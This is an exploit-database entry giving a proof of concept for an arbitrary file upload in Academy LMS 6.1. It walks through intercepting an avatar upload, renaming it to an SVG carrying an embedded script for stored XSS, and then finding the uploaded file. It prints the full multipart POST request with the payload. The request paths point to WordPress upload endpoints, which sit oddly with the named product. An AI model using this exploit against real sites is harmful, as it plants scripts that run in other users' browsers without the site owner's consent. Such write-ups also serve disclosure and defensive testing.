Academy lms 6.1 arbitrary file upload Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-09-04 | Type : webapps | Platform : php
This exploit / vulnerability Academy lms 6.1 arbitrary file upload is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Academy LMS 6.1 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 05/08/2023
# Vendor: Creativeitem
# Vendor Homepage: https://academylms.net/
# Software Link: https://demo.academylms.net/
# Version: 6.1
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
# CWE: CWE-79 - CWE-74 - CWE-707


## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/dashboard/#/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]

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POST /wp-admin/async-upload.php HTTP/2

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Content-Disposition: form-data; name="async-upload"; filename="ahacka.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by CraCkEr");
</script>
</svg>
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6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS]
8. Access your Uploded Evil file on this Path: https://website/wp-content/uploads/***/**/*****.svg



[-] Done